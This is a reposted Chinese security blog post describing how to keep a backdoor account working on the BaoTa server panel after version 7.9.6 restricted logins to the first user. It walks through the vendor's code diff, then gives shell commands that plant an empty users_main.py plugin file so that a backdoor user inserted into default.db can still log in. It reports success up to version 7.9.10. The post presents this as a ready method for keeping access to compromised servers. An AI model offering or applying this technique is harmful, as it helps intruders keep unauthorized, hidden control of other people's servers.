再谈宝塔后门账号维权

admin 2023年12月23日00:44:44评论42 views字数 2272阅读7分34秒阅读模式

上一篇文章提到一个宝塔账号维权的思路,本来这篇文章到此就结束了,但昨晚群里有师傅提到该思路只能用于旧版本,于是麋鹿就写了一篇续集,谈一下后续版本如何继续使用该思路

先来看一下github上宝塔的更新日志,7.9.6里提到做了限制只允许id=1的用户登录

再谈宝塔后门账号维权

看一下这7.9.6和7.9.5版本的Comparing changes

定位到panel/class/userlogin.py文件

再谈宝塔后门账号维权

怕有些读者不熟悉上图(patch)是什么意思,麋鹿来解释一下

这张图片显示的是该文件在 GitHub 上的7.9.6和7.9.5版本之间的差异。红色部分代表被移除的代码,绿色部分代表新增的代码。或者换一种说法行头的+ or - 符号分别表示该行代码是新增还是移除。

那我们来解读一下具体的差异

1.红色代码:

public.chdck_salt()
        sql = db.Sql()
        user_list = sql.table('users').field('id,username,password,salt').select()

        userInfo = None
        for u_info in user_list:
            if public.md5(u_info['username']) == post.username:
                userInfo = u_info

    这段代码会获取default.db里 users 表中所有用户的 id, username, password, salt 字段,然后加密,最后去循环检查users表里是否与提交的用户名相匹配。


2,绿色代码

user_plugin_file = '{}/users_main.py'.format(public.get_plugin_path('users'))
        if os.path.exists(user_plugin_file):
            user_list = sql.table('users').field('id,username,password,salt').select()
            for u_info in user_list:
                if public.md5(u_info['username']) == post.username:
                    userInfo = u_info
        else:
            userInfo = sql.table('users').where('id=?',1).field('id,username,password,salt').find()
    • 这部分代码添加了一个检查,如果 users_main.py 文件(这个文件就是上面说到的实现多用户的插件)存在,则执行与红色代码相同的逻辑。

    • 如果 users_main.py 文件不存在,则直接查询 id1 的用户信息。就是说,如果没装这个插件,就只有 id1 的用户可以登录。


那么如果我们在该目录创建该py文件,这种情况是否能还能登录我们的后门账号的?

在尝试这个问题前,我们需要搞清楚该py文件的地址,也就是读懂下面这行代码

user_plugin_file = '{}/users_main.py'.format(public.get_plugin_path('users'))

首先,在Python中,大括号 {} 在字符串格式化时用作占位符。使用 .format() 方法,意思就是将大括号中的内容替换为传递给 .format() 方法的参数。

format的意思一目了然就是获取宝塔插件(英文为plugin)里users插件的地址,而宝塔插件的地址为/www/server/panel/plugin

所以第一步

在/www/server/panel/plugin创建一个users文件夹,users里面创建一个users_main.py

cd /www/server/panel/plugin/
mkdir users
cd users/
touch users_main.py

我已经创建好了,如下图空白的

再谈宝塔后门账号维权


第二步

在default.db里加一个后门,宝塔算法在上一篇文章里提到过,没看过或者还不到的读者可以回头看一下,文章链接如下

https://mp.weixin.qq.com/s?__biz=MzkwNjUwNTg0MA==&mid=2247490207&idx=1&sn=fb4213eecd00d529a24ac398f2c1c3bd&chksm=c0e62180f791a89601b1a3e481726c6f81ff75de80555455ef0352e02723209f353bc3321a43&token=205949372&lang=zh_CN#rd

看一眼db

再谈宝塔后门账号维权

第二行为我们的后门账号,账号为admin,密码明文为123456

第三步

升级宝塔到7.9.6版本,前一篇文章也讲过,故略过这一步

再谈宝塔后门账号维权

第四步

用后门账号密码登录

再谈宝塔后门账号维权

再谈宝塔后门账号维权

进来了

麋鹿测试到宝塔面板7.9.10,这个后门还能用

再谈宝塔后门账号维权

但是最新版本8.0.4就这个思路就不行了

再谈宝塔后门账号维权

再谈宝塔后门账号维权

至于新版本如何延续该维权思路,目前麋鹿不方便公布,不过在未来某个合适的时候麋鹿会发文分析,敬请期待。

ps:授人以鱼不如授人以渔,希望大家能自己去读一下新版本关于加密的代码,动动手就会一目了然的。

最后祝各位同仁冬至欢愉,常安常乐。

原文始发于微信公众号(麋鹿安全):再谈宝塔后门账号维权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日00:44:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   再谈宝塔后门账号维权http://cn-sec.com/archives/2328808.html

发表评论

匿名网友 填写信息